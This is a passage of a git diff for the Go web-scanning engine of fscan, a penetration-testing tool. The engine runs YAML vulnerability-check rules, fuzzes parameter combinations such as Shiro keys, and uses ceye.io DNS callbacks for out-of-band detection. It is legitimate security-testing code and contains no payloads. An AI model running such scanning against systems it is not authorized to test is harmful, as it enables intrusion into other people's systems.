config.UpdateCompileOptions(setMap) + } + + // 创建执行环境 + env, err := NewEnv(&config) + if err != nil { + return false, fmt.Errorf("[-] 创建%s的执行环境失败: %v", p.Name, err), "" + } + + // 解析请求 + req, err := ParseRequest(oReq) + if err != nil { + return false, fmt.Errorf("[-] 解析%s的请求失败: %v", p.Name, err), "" + } + + // 初始化变量映射 + variableMap := make(map[string]interface{}) + defer func() { variableMap = nil }() + variableMap["request"] = req + + // 处理设置项 + for _, item := range p.Set { + key, expression := item.Key, item.Value + if expression == "newReverse()" { + if !Common.DnsLog { + return false, nil, "" + } + variableMap[key] = newReverse() + continue + } + if err, _ = evalset(env, variableMap, key, expression); err != nil { + Common.LogError(fmt.Sprintf("[-] 执行%s的设置项失败: %v", p.Name, err)) + } + } + + // 处理爆破模式 + if len(p.Sets) > 0 { + success, err := clusterpoc(oReq, p, variableMap, req, env) + return success, err, "" + } + + // 处理单个规则的函数 + DealWithRule := func(rule Rules) (bool, error) { + Headers := cloneMap(rule.Headers) + + // 替换变量 + for varName, varValue := range variableMap { + if _, isMap := varValue.(map[string]string); isMap { + continue + } + strValue := fmt.Sprintf("%v", varValue) + + // 替换Header中的变量 + for headerKey, headerValue := range Headers { + if strings.Contains(headerValue, "{{"+varName+"}}") { + Headers[headerKey] = strings.ReplaceAll(headerValue, "{{"+varName+"}}", strValue) + } + } + + // 替换Path和Body中的变量 + rule.Path = strings.ReplaceAll(rule.Path, "{{"+varName+"}}", strValue) + rule.Body = strings.ReplaceAll(rule.Body, "{{"+varName+"}}", strValue) + } + + // 构建请求路径 + if oReq.URL.Path != "" && oReq.URL.Path != "/" { + req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) + } else { + req.Url.Path = rule.Path + } + req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") + + // 创建新的请求 + newRequest, err := http.NewRequest( + rule.Method, + fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), + strings.NewReader(rule.Body), + ) + if err != nil { + return false, fmt.Errorf("创建新请求失败: %v", err) + } + + // 设置请求头 + newRequest.Header = oReq.Header.Clone() + for k, v := range Headers { + newRequest.Header.Set(k, v) + } + Headers = nil + + // 发送请求 + resp, err := DoRequest(newRequest, rule.FollowRedirects) + newRequest = nil + if err != nil { + return false, err + } + + variableMap["response"] = resp + + // 执行搜索规则 + if rule.Search != "" { + result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) + if len(result) == 0 { + return false, nil + } + for k, v := range result { + variableMap[k] = v + } + } + + // 执行表达式 + out, err := Evaluate(env, rule.Expression, variableMap) + if err != nil { + return false, err + } + + if flag, ok := out.Value().(bool); ok { + return flag, nil + } + return false, nil + } + + // 处理规则组的函数 + DealWithRules := func(rules []Rules) bool { + for _, rule := range rules { + flag, err := DealWithRule(rule) + if err != nil || !flag { + return false + } + } + return true + } + + // 执行检测规则 + success := false + if len(p.Rules) > 0 { + success = DealWithRules(p.Rules) + } else { + for _, item := range p.Groups { + name, rules := item.Key, item.Value + if success = DealWithRules(rules); success { + return true, nil, name + } + } + } + + return success, nil, "" +} + +// doSearch 在响应体中执行正则匹配并提取命名捕获组 +func doSearch(re string, body string) map[string]string { + // 编译正则表达式 + r, err := regexp.Compile(re) + if err != nil { + Common.LogError(fmt.Sprintf("正则表达式编译失败: %v", err)) + return nil + } + + // 执行正则匹配 + result := r.FindStringSubmatch(body) + names := r.SubexpNames() + + // 处理匹配结果 + if len(result) > 1 && len(names) > 1 { + paramsMap := make(map[string]string) + for i, name := range names { + if i > 0 && i <= len(result) { + // 特殊处理Cookie头 + if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") { + paramsMap[name] = optimizeCookies(result[i]) + } else { + paramsMap[name] = result[i] + } + } + } + return paramsMap + } + return nil +} + +// optimizeCookies 优化Cookie字符串,移除不必要的属性 +func optimizeCookies(rawCookie string) string { + var output strings.Builder + + // 解析Cookie键值对 + pairs := strings.Split(rawCookie, "; ") + for _, pair := range pairs { + nameVal := strings.SplitN(pair, "=", 2) + if len(nameVal) < 2 { + continue + } + + // 跳过Cookie属性 + switch strings.ToLower(nameVal[0]) { + case "expires", "max-age", "path", "domain", + "version", "comment", "secure", "samesite", "httponly": + continue + } + + // 构建Cookie键值对 + if output.Len() > 0 { + output.WriteString("; ") + } + output.WriteString(nameVal[0]) + output.WriteString("=") + output.WriteString(strings.Join(nameVal[1:], "=")) + } + + return output.String() +} + +// newReverse 创建新的反连检测对象 +func newReverse() *Reverse { + // 检查DNS日志功能是否启用 + if !Common.DnsLog { + return &Reverse{} + } + + // 生成随机子域名 + const ( + letters = "1234567890abcdefghijklmnopqrstuvwxyz" + subdomainLength = 8 + ) + randSource := rand.New(rand.NewSource(time.Now().UnixNano())) + subdomain := RandomStr(randSource, letters, subdomainLength) + + // 构建URL + urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain) + u, err := url.Parse(urlStr) + if err != nil { + Common.LogError(fmt.Sprintf("解析反连URL失败: %v", err)) + return &Reverse{} + } + + // 返回反连检测配置 + return &Reverse{ + Url: urlStr, + Domain: u.Hostname(), + Ip: u.Host, + IsDomainNameServer: false, + } +} + +// clusterpoc 执行集群POC检测,支持批量参数组合测试 +func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) { + var strMap StrMap // 存储成功的参数组合 + var shiroKeyCount int // shiro key测试计数 + + // 遍历POC规则 + for ruleIndex, rule := range p.Rules { + // 检查是否需要进行参数Fuzz测试 + if !isFuzz(rule, p.Sets) { + // 不需要Fuzz,直接发送请求 + success, err = clustersend(oReq, variableMap, req, env, rule) + if err != nil { + return false, err + } + if !success { + return false, err + } + continue + } + + // 生成参数组合 + setsMap := Combo(p.Sets) + ruleHash := make(map[string]struct{}) // 用于去重的规则哈希表 + + // 遍历参数组合 + paramLoop: + for comboIndex, paramCombo := range setsMap { + // Shiro Key测试特殊处理:默认只测试10个key + if p.Name == "poc-yaml-shiro-key" && !Common.PocFull && comboIndex >= 10 { + if paramCombo[1] == "cbc" { + continue + } else { + if shiroKeyCount == 0 { + shiroKeyCount = comboIndex + } + if comboIndex-shiroKeyCount >= 10 { + break + } + } + } + + // 克隆规则以避免相互影响 + currentRule := cloneRules(rule) + var hasReplacement bool + var currentParams StrMap + payloads := make(map[string]interface{}) + var payloadExpr string + + // 计算所有参数的实际值 + for i, set := range p.Sets { + key, expr := set.Key, paramCombo[i] + if key == "payload" { + payloadExpr = expr + } + _, output := evalset1(env, variableMap, key, expr) + payloads[key] = output + } + + // 替换规则中的参数 + for _, set := range p.Sets { + paramReplaced := false + key := set.Key + value := fmt.Sprintf("%v", payloads[key]) + + // 替换Header中的参数 + for headerKey, headerVal := range currentRule.Headers { + if strings.Contains(headerVal, "{{"+key+"}}") { + currentRule.Headers[headerKey] = strings.ReplaceAll(headerVal, "{{"+key+"}}", value) + paramReplaced = true + } + } + + // 替换Path中的参数 + if strings.Contains(currentRule.Path, "{{"+key+"}}") { + currentRule.Path = strings.ReplaceAll(currentRule.Path, "{{"+key+"}}", value) + paramReplaced = true + } + + // 替换Body中的参数 + if strings.Contains(currentRule.Body, "{{"+key+"}}") { + currentRule.Body = strings.ReplaceAll(currentRule.Body, "{{"+key+"}}", value) + paramReplaced = true + } + + // 记录替换的参数 + if paramReplaced { + hasReplacement = true + if key == "payload" { + // 处理payload的特殊情况 + hasVarInPayload := false + for varKey, varVal := range variableMap { + if strings.Contains(payloadExpr, varKey) { + hasVarInPayload = true + currentParams = append(currentParams, StrItem{varKey, fmt.Sprintf("%v", varVal)}) + } + } + if hasVarInPayload { + continue + } + } + currentParams = append(currentParams, StrItem{key, value}) + } + } + + // 如果没有参数被替换,跳过当前组合 + if !hasReplacement { + continue + } + + // 规则去重 + ruleDigest := md5.Sum([]byte(fmt.Sprintf("%v", currentRule))) + ruleMD5 := fmt.Sprintf("%x", ruleDigest) + if _, exists := ruleHash[ruleMD5]; exists { + continue + } + ruleHash[ruleMD5] = struct{}{} + + // 发送请求并处理结果 + success, err = clustersend(oReq, variableMap, req, env, currentRule) + if err != nil { + return false, err + } + + if success { + // 处理成功情况 + if currentRule.Continue { + // 特殊POC的输出处理 + if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { + Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s", + req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) + } else { + Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v", + req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, currentParams)) + } + continue + } + + // 记录成功的参数组合 + strMap = append(strMap, currentParams...) + if ruleIndex == len(p.Rules)-1 { + Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v", + req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) + return false, nil + } + break paramLoop + } + } + + if !success { + break + } + if rule.Continue { + return false, nil + } + } + + return success, nil +} + +// isFuzz 检查规则是否包含需要Fuzz测试的参数 +func isFuzz(rule Rules, Sets ListMap) bool { + // 遍历所有参数 + for _, param := range Sets { + key := param.Key + paramPattern := "{{" + key + "}}" + + // 检查Headers中是否包含参数 + for _, headerValue := range rule.Headers { + if strings.Contains(headerValue, paramPattern) { + return true + } + } + + // 检查Path中是否包含参数 + if strings.Contains(rule.Path, paramPattern) { + return true + } + + // 检查Body中是否包含参数 + if strings.Contains(rule.Body, paramPattern) { + return true + } + } + return false +} + +// Combo 生成参数组合 +func Combo(input ListMap) [][]string { + if len(input) == 0 { + return nil + } + + // 处理只有一个参数的情况 + if len(input) == 1 { + output := make([][]string, 0, len(input[0].Value)) + for _, value := range input[0].Value { + output = append(output, []string{value}) + } + return output + } + + // 递归处理多个参数的情况 + subCombos := Combo(input[1:]) + return MakeData(subCombos, input[0].Value) +} + +// MakeData 将新的参数值与已有的组合进行组合 +func MakeData(base [][]string, nextData []string) [][]string { + // 预分配足够的空间 + output := make([][]string, 0, len(base)*len(nextData)) + + // 遍历已有组合和新参数值 + for _, existingCombo := range base { + for _, newValue := range nextData { + // 创建新组合 + newCombo := make([]string, 0, len(existingCombo)+1) + newCombo = append(newCombo, newValue) + newCombo = append(newCombo, existingCombo...) + output = append(output, newCombo) + } + } + + return output +} + +// clustersend 执行单个规则的HTTP请求和响应检测 +func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) { + // 替换请求中的变量 + for varName, varValue := range variableMap { + // 跳过map类型的变量 + if _, isMap := varValue.(map[string]string); isMap { + continue + } + + strValue := fmt.Sprintf("%v", varValue) + varPattern := "{{" + varName + "}}" + + // 替换Headers中的变量 + for headerKey, headerValue := range rule.Headers { + if strings.Contains(headerValue, varPattern) { + rule.Headers[headerKey] = strings.ReplaceAll(headerValue, varPattern, strValue) + } + } + + // 替换Path和Body中的变量 + rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), varPattern, strValue) + rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), varPattern, strValue) + } + + // 构建完整请求路径 + if oReq.URL.Path != "" && oReq.URL.Path != "/" { + req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) + } else { + req.Url.Path = rule.Path + } + + // URL编码处理 + req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") + + // 创建新的HTTP请求 + reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) + newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body)) + if err != nil { + return false, fmt.Errorf("[-] 创建HTTP请求失败: %v", err) + } + defer func() { newRequest = nil }() // 及时释放资源 + + // 设置请求头 + newRequest.Header = oReq.Header.Clone() + for key, value := range rule.Headers { + newRequest.Header.Set(key, value) + } + + // 发送请求 + resp, err := DoRequest(newRequest, rule.FollowRedirects) + if err != nil { + return false, fmt.Errorf("[-] 发送请求失败: %v", err) + } + + // 更新响应到变量映射 + variableMap["response"] = resp + + // 执行搜索规则 + if rule.Search != "" { + searchContent := GetHeader(resp.Headers) + string(resp.Body) + result := doSearch(rule.Search, searchContent) + + if result != nil && len(result) > 0 { + // 将搜索结果添加到变量映射 + for key, value := range result { + variableMap[key] = value + } + } else { + return false, nil + } + } + + // 执行CEL表达式 + out, err := Evaluate(env, rule.Expression, variableMap) + if err != nil { + if strings.Contains(err.Error(), "Syntax error") { + Common.LogError(fmt.Sprintf("[-] CEL表达式语法错误 [%s]: %v", rule.Expression, err)) + } + return false, err + } + + // 检查表达式执行结果 + if fmt.Sprintf("%v", out) == "false" { + return false, nil + } + + return true, nil +} + +// cloneRules 深度复制Rules结构体 +// 参数: +// - tags: 原始Rules结构体 +// 返回: 复制后的新Rules结构体 +func cloneRules(tags Rules) Rules { + return Rules{ + Method: tags.Method, + Path: tags.Path, + Body: tags.Body, + Search: tags.Search, + FollowRedirects: tags.FollowRedirects, + Expression: tags.Expression, + Headers: cloneMap(tags.Headers), + } +} + +// cloneMap 深度复制字符串映射 +func cloneMap(tags map[string]string) map[string]string { + cloneTags := make(map[string]string, len(tags)) + for key, value := range tags { + cloneTags[key] = value + } + return cloneTags +} + +// evalset 执行CEL表达式并处理特殊类型结果 +func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) { + out, err := Evaluate(env, expression, variableMap) + if err != nil { + variableMap[k] = expression + return err, expression + } + + // 根据不同类型处理输出 + switch value := out.Value().(type) { + case *UrlType: + variableMap[k] = UrlTypeToString(value) + case int64: + variableMap[k] = int(value) + default: + variableMap[k] = fmt.Sprintf("%v", out) + } + + return nil, fmt.Sprintf("%v", variableMap[k]) +} + +// evalset1 执行CEL表达式的简化版本 +func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) { + out, err := Evaluate(env, expression, variableMap) + if err != nil { + variableMap[k] = expression + } else { + variableMap[k] = fmt.Sprintf("%v", out) + } + return err, fmt.Sprintf("%v", variableMap[k]) +} + +// CheckInfoPoc 检查POC信息并返回别名 +func CheckInfoPoc(infostr string) string { + for _, poc := range info.PocDatas { + if strings.Contains(infostr, poc.Name) { + return poc.Alias + } + } + return "" +} + +// GetHeader 将HTTP头转换为字符串格式 +func GetHeader(header map[string]string) string { + var builder strings.Builder + for name, values := range header { + builder.WriteString(fmt.Sprintf("%s: %s\n", name, values)) + } + builder.WriteString("\r\n") + return builder.String() +} diff --git a/WebScan/lib/Client.go b/WebScan/lib/Client.go new file mode 100644 index 00000000..96aa4779 --- /dev/null +++ b/WebScan/lib/Client.go @@ -0,0 +1,318 @@ +package lib + +import ( + "context" + "crypto/tls" + "embed" + "errors" + "fmt" + "github.com/shadow1ng/fscan/Common" + "golang.org/x/net/proxy" + "gopkg.in/yaml.v2" + "net" + "net/http" + "net/url" + "os" + "strings" + "time" +) + +// 全局HTTP客户端变量 +var ( + Client *http.Client // 标准HTTP客户端 + ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端 + dialTimout = 5 * time.Second // 连接超时时间 + keepAlive = 5 * time.Second // 连接保持时间 +) + +// Inithttp 初始化HTTP客户端配置 +func Inithttp() { + // 设置默认并发数 + if Common.PocNum == 0 { + Common.PocNum = 20 + } + // 设置默认超时时间 + if Common.WebTimeout == 0 { + Common.WebTimeout = 5 + } + + // 初始化HTTP客户端 + err := InitHttpClient(Common.PocNum, Common.Proxy, time.Duration(Common.WebTimeout)*time.Second) + if err != nil { + panic(err) + } +} + +// InitHttpClient 创建HTTP客户端 +func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error { + type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) + + // 配置基础连接参数 + dialer := &net.Dialer{ + Timeout: dialTimout, + KeepAlive: keepAlive, + } + + // 配置Transport参数 + tr := &http.Transport{ + DialContext: dialer.DialContext, + MaxConnsPerHost: 5, + MaxIdleConns: 0, + MaxIdleConnsPerHost: ThreadsNum * 2, + IdleConnTimeout: keepAlive, + TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}, + TLSHandshakeTimeout: 5 * time.Second, + DisableKeepAlives: false, + } + + // 配置Socks5代理 + if Common.Socks5Proxy != "" { + dialSocksProxy, err := Common.Socks5Dialer(dialer) + if err != nil { + return err + } + if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok { + tr.DialContext = contextDialer.DialContext + } else { + return errors.New("无法转换为DialContext类型") + } + } else if DownProxy != "" { + // 处理其他代理配置 + if DownProxy == "1" { + DownProxy = "http://127.0.0.1:8080" + } else if DownProxy == "2" { + DownProxy = "socks5://127.0.0.1:1080" + } else if !strings.Contains(DownProxy, "://") { + DownProxy = "http://127.0.0.1:" + DownProxy + } + + // 验证代理类型 + if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") { + return errors.New("不支持的代理类型") + } + + // 解析代理URL + u, err := url.Parse(DownProxy) + if err != nil { + return err + } + tr.Proxy = http.ProxyURL(u) + } + + // 创建标准HTTP客户端 + Client = &http.Client{ + Transport: tr, + Timeout: Timeout, + } + + // 创建不跟随重定向的HTTP客户端 + ClientNoRedirect = &http.Client{ + Transport: tr, + Timeout: Timeout, + CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, + } + + return nil +} + +// Poc 定义漏洞检测配置结构 +type Poc struct { + Name string `yaml:"name"` // POC名称 + Set StrMap `yaml:"set"` // 单值配置映射 + Sets ListMap `yaml:"sets"` // 列表值配置映射 + Rules []Rules `yaml:"rules"` // 检测规则列表 + Groups RuleMap `yaml:"groups"` // 规则组映射 + Detail Detail `yaml:"detail"` // 漏洞详情 +} + +// MapSlice 用于解析YAML的通用映射类型 +type MapSlice = yaml.MapSlice + +// 自定义映射类型 +type ( + StrMap []StrItem // 字符串键值对映射 + ListMap []ListItem // 字符串键列表值映射 + RuleMap []RuleItem // 字符串键规则列表映射 +) + +// 映射项结构定义 +type ( + // StrItem 字符串键值对 + StrItem struct { + Key string // 键名 + Value string // 值 + } + + // ListItem 字符串键列表值对 + ListItem struct { + Key string // 键名 + Value []string // 值列表 + } + + // RuleItem 字符串键规则列表对 + RuleItem struct { + Key string // 键名 + Value []Rules // 规则列表 + } +) + +// UnmarshalYAML 实现StrMap的YAML解析接口 +func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + // 临时使用MapSlice存储解析结果 + var tmp yaml.MapSlice + if err := unmarshal(&tmp); err != nil { + return err + } + + // 转换为StrMap结构 + for _, one := range tmp { + key, value := one.Key.(string), one.Value.(string) + *r = append(*r, StrItem{key, value}) + } + + return nil +} + +// UnmarshalYAML 实现RuleMap的YAML解析接口 +// 参数: +// - unmarshal: YAML解析函数 +// +// 返回: +// - error: 解析错误 +func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + // 使用MapSlice保持键的顺序 + var tmp1 yaml.MapSlice + if err := unmarshal(&tmp1); err != nil { + return err + } + + // 解析规则内容 + var tmp = make(map[string][]Rules) + if err := unmarshal(&tmp); err != nil { + return err + } + + // 按顺序转换为RuleMap结构 + for _, one := range tmp1 { + key := one.Key.(string) + value := tmp[key] + *r = append(*r, RuleItem{key, value}) + } + return nil +} + +// UnmarshalYAML 实现ListMap的YAML解析接口 +// 参数: +// - unmarshal: YAML解析函数 +// +// 返回: +// - error: 解析错误 +func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error { + // 解析YAML映射 + var tmp yaml.MapSlice + if err := unmarshal(&tmp); err != nil { + return err + } + + // 转换为ListMap结构 + for _, one := range tmp { + key := one.Key.(string) + var value []string + // 将接口类型转换为字符串 + for _, val := range one.Value.([]interface{}) { + v := fmt.Sprintf("%v", val) + value = append(value, v) + } + *r = append(*r, ListItem{key, value}) + } + return nil +} + +// Rules 定义POC检测规则结构 +type Rules struct { + Method string `yaml:"method"` // HTTP请求方法 + Path string `yaml:"path"` // 请求路径 + Headers map[string]string `yaml:"headers"` // 请求头 + Body string `yaml:"body"` // 请求体 + Search string `yaml:"search"` // 搜索模式 + FollowRedirects bool `yaml:"follow_redirects"` // 是否跟随重定向 + Expression string `yaml:"expression"` // 匹配表达式 + Continue bool `yaml:"continue"` // 是否继续执行 +} + +// Detail 定义POC详情结构 +type Detail struct { + Author string `yaml:"author"` // POC作者 + Links []string `yaml:"links"` // 相关链接 + Description string `yaml:"description"` // POC描述 + Version string `yaml:"version"` // POC版本 +} + +// LoadMultiPoc 加载多个POC文件 +func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { + var pocs []*Poc + // 遍历选中的POC文件 + for _, f := range SelectPoc(Pocs, pocname) { + if p, err := LoadPoc(f, Pocs); err == nil { + pocs = append(pocs, p) + } else { + fmt.Printf("[-] POC加载失败 %s: %v\n", f, err) + } + } + return pocs +} + +// LoadPoc 从内嵌文件系统加载单个POC +func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { + p := &Poc{} + // 读取POC文件内容 + yamlFile, err := Pocs.ReadFile("pocs/" + fileName) + if err != nil { + fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err) + return nil, err + } + + // 解析YAML内容 + err = yaml.Unmarshal(yamlFile, p) + if err != nil { + fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err) + return nil, err + } + return p, err +} + +// SelectPoc 根据名称关键字选择POC文件 +func SelectPoc(Pocs embed.FS, pocname string) []string { + entries, err := Pocs.ReadDir("pocs") + if err != nil { + fmt.Printf("[-] 读取POC目录失败: %v\n", err) + } + + var foundFiles []string + // 查找匹配关键字的POC文件 + for _, entry := range entries { + if strings.Contains(entry.Name(), pocname) { + foundFiles = append(foundFiles, entry.Name()) + } + } + return foundFiles +} + +// LoadPocbyPath 从文件系统路径加载POC +func LoadPocbyPath(fileName string) (*Poc, error) { + p := &Poc{} + // 读取POC文件内容 + data, err := os.ReadFile(fileName) + if err != nil { + fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err) + return nil, err + } + + // 解析YAML内容 + err = yaml.Unmarshal(data, p) + if err != nil { + fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err) + return nil, err + } + return p, err +} diff --git a/WebScan/lib/eval.go b/WebScan/lib/Eval.go similarity index 75% rename from WebScan/lib/eval.go rename to WebScan/lib/Eval.go index 0f652e17..eaf0312b 100644 --- a/WebScan/lib/eval.go +++ b/WebScan/lib/Eval.go @@ -12,7 +12,7 @@ import ( "github.com/google/cel-go/common/types" "github.com/google/cel-go/common/types/ref" "github.com/google/cel-go/interpreter/functions" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" "io" "math/rand" @@ -24,68 +24,86 @@ import ( "time" ) +// NewEnv 创建一个新的 CEL 环境 func NewEnv(c *CustomLib) (*cel.Env, error) { return cel.NewEnv(cel.Lib(c)) } +// Evaluate 评估 CEL 表达式 func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) { + // 空表达式默认返回 true if expression == "" { return types.Bool(true), nil } - ast, iss := env.Compile(expression) - if iss.Err() != nil { - //fmt.Printf("compile: ", iss.Err()) - return nil, iss.Err() + + // 编译表达式 + ast, issues := env.Compile(expression) + if issues.Err() != nil { + return nil, fmt.Errorf("表达式编译错误: %w", issues.Err()) } - prg, err := env.Program(ast) + // 创建程序 + program, err := env.Program(ast) if err != nil { - //fmt.Printf("Program creation error: %v", err) - return nil, err + return nil, fmt.Errorf("程序创建错误: %w", err) } - out, _, err := prg.Eval(params) + // 执行评估 + result, _, err := program.Eval(params) if err != nil { - //fmt.Printf("Evaluation error: %v", err) - return nil, err + return nil, fmt.Errorf("表达式评估错误: %w", err) } - return out, nil + + return result, nil } +// UrlTypeToString 将 URL 结构体转换为字符串 func UrlTypeToString(u *UrlType) string { - var buf strings.Builder + var builder strings.Builder + + // 处理 scheme 部分 if u.Scheme != "" { - buf.WriteString(u.Scheme) - buf.WriteByte(':') + builder.WriteString(u.Scheme) + builder.WriteByte(':') } + + // 处理 host 部分 if u.Scheme != "" || u.Host != "" { if u.Host != "" || u.Path != "" { - buf.WriteString("//") + builder.WriteString("//") } - if h := u.Host; h != "" { - buf.WriteString(u.Host) + if host := u.Host; host != "" { + builder.WriteString(host) } } + + // 处理 path 部分 path := u.Path if path != "" && path[0] != '/' && u.Host != "" { - buf.WriteByte('/') + builder.WriteByte('/') } - if buf.Len() == 0 { + + // 处理相对路径 + if builder.Len() == 0 { if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 { - buf.WriteString("./") + builder.WriteString("./") } } - buf.WriteString(path) + builder.WriteString(path) + // 处理查询参数 if u.Query != "" { - buf.WriteByte('?') - buf.WriteString(u.Query) + builder.WriteByte('?') + builder.WriteString(u.Query) } + + // 处理片段标识符 if u.Fragment != "" { - buf.WriteByte('#') - buf.WriteString(u.Fragment) + builder.WriteByte('#') + builder.WriteString(u.Fragment) } - return buf.String() + + return builder.String() } type CustomLib struct { @@ -519,179 +537,259 @@ func NewEnvOption() CustomLib { return c } -// 声明环境中的变量类型和函数 +// CompileOptions 返回环境编译选项 func (c *CustomLib) CompileOptions() []cel.EnvOption { return c.envOptions } +// ProgramOptions 返回程序运行选项 func (c *CustomLib) ProgramOptions() []cel.ProgramOption { return c.programOptions } +// UpdateCompileOptions 更新编译选项,处理不同类型的变量声明 func (c *CustomLib) UpdateCompileOptions(args StrMap) { for _, item := range args { - k, v := item.Key, item.Value - // 在执行之前是不知道变量的类型的,所以统一声明为字符型 - // 所以randomInt虽然返回的是int型,在运算中却被当作字符型进行计算,需要重载string_*_string - var d *exprpb.Decl - if strings.HasPrefix(v, "randomInt") { - d = decls.NewIdent(k, decls.Int, nil) - } else if strings.HasPrefix(v, "newReverse") { - d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil) - } else { - d = decls.NewIdent(k, decls.String, nil) + key, value := item.Key, item.Value + + // 根据函数前缀确定变量类型 + var declaration *exprpb.Decl + switch { + case strings.HasPrefix(value, "randomInt"): + // randomInt 函数返回整型 + declaration = decls.NewIdent(key, decls.Int, nil) + case strings.HasPrefix(value, "newReverse"): + // newReverse 函数返回 Reverse 对象 + declaration = decls.NewIdent(key, decls.NewObjectType("lib.Reverse"), nil) + default: + // 默认声明为字符串类型 + declaration = decls.NewIdent(key, decls.String, nil) } - c.envOptions = append(c.envOptions, cel.Declarations(d)) + + c.envOptions = append(c.envOptions, cel.Declarations(declaration)) } } +// 初始化随机数生成器 var randSource = rand.New(rand.NewSource(time.Now().Unix())) +// randomLowercase 生成指定长度的小写字母随机字符串 func randomLowercase(n int) string { - lowercase := "abcdefghijklmnopqrstuvwxyz" + const lowercase = "abcdefghijklmnopqrstuvwxyz" return RandomStr(randSource, lowercase, n) } +// randomUppercase 生成指定长度的大写字母随机字符串 func randomUppercase(n int) string { - uppercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + const uppercase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" return RandomStr(randSource, uppercase, n) } +// randomString 生成指定长度的随机字符串(包含大小写字母和数字) func randomString(n int) string { - charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" return RandomStr(randSource, charset, n) } +// reverseCheck 检查 DNS 记录是否存在 func reverseCheck(r *Reverse, timeout int64) bool { - if ceyeApi == "" || r.Domain == "" || !common.DnsLog { + // 检查必要条件 + if ceyeApi == "" || r.Domain == "" || !Common.DnsLog { return false } + + // 等待指定时间 time.Sleep(time.Second * time.Duration(timeout)) + + // 提取子域名 sub := strings.Split(r.Domain, ".")[0] - urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub) - //fmt.Println(urlStr) - req, _ := http.NewRequest("GET", urlStr, nil) + + // 构造 API 请求 URL + apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", + ceyeApi, sub) + + // 创建并发送请求 + req, _ := http.NewRequest("GET", apiURL, nil) resp, err := DoRequest(req, false) if err != nil { return false } - if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空 - fmt.Println(urlStr) + // 检查响应内容 + hasData := !bytes.Contains(resp.Body, []byte(`"data": []`)) + isOK := bytes.Contains(resp.Body, []byte(`"message": "OK"`)) + + if hasData && isOK { + fmt.Println(apiURL) return true } return false } +// RandomStr 生成指定长度的随机字符串 func RandomStr(randSource *rand.Rand, letterBytes string, n int) string { const ( - letterIdxBits = 6 // 6 bits to represent a letter index - letterIdxMask = 1<= 0; { + // 当可用的随机位用完时,重新获取随机数 if remain == 0 { cache, remain = randSource.Int63(), letterIdxMax } + + // 获取字符集中的随机索引 if idx := int(cache & letterIdxMask); idx < len(letterBytes) { randBytes[i] = letterBytes[idx] i-- } + + // 右移已使用的位,更新计数器 cache >>= letterIdxBits remain-- } + return string(randBytes) } +// DoRequest 执行 HTTP 请求 func DoRequest(req *http.Request, redirect bool) (*Response, error) { - if req.Body == nil || req.Body == http.NoBody { - } else { + // 处理请求头 + if req.Body != nil && req.Body != http.NoBody { + // 设置 Content-Length req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength))) + + // 如果未指定 Content-Type,设置默认值 if req.Header.Get("Content-Type") == "" { req.Header.Set("Content-Type", "application/x-www-form-urlencoded") } } - var oResp *http.Response - var err error + + // 执行请求 + var ( + oResp *http.Response + err error + ) 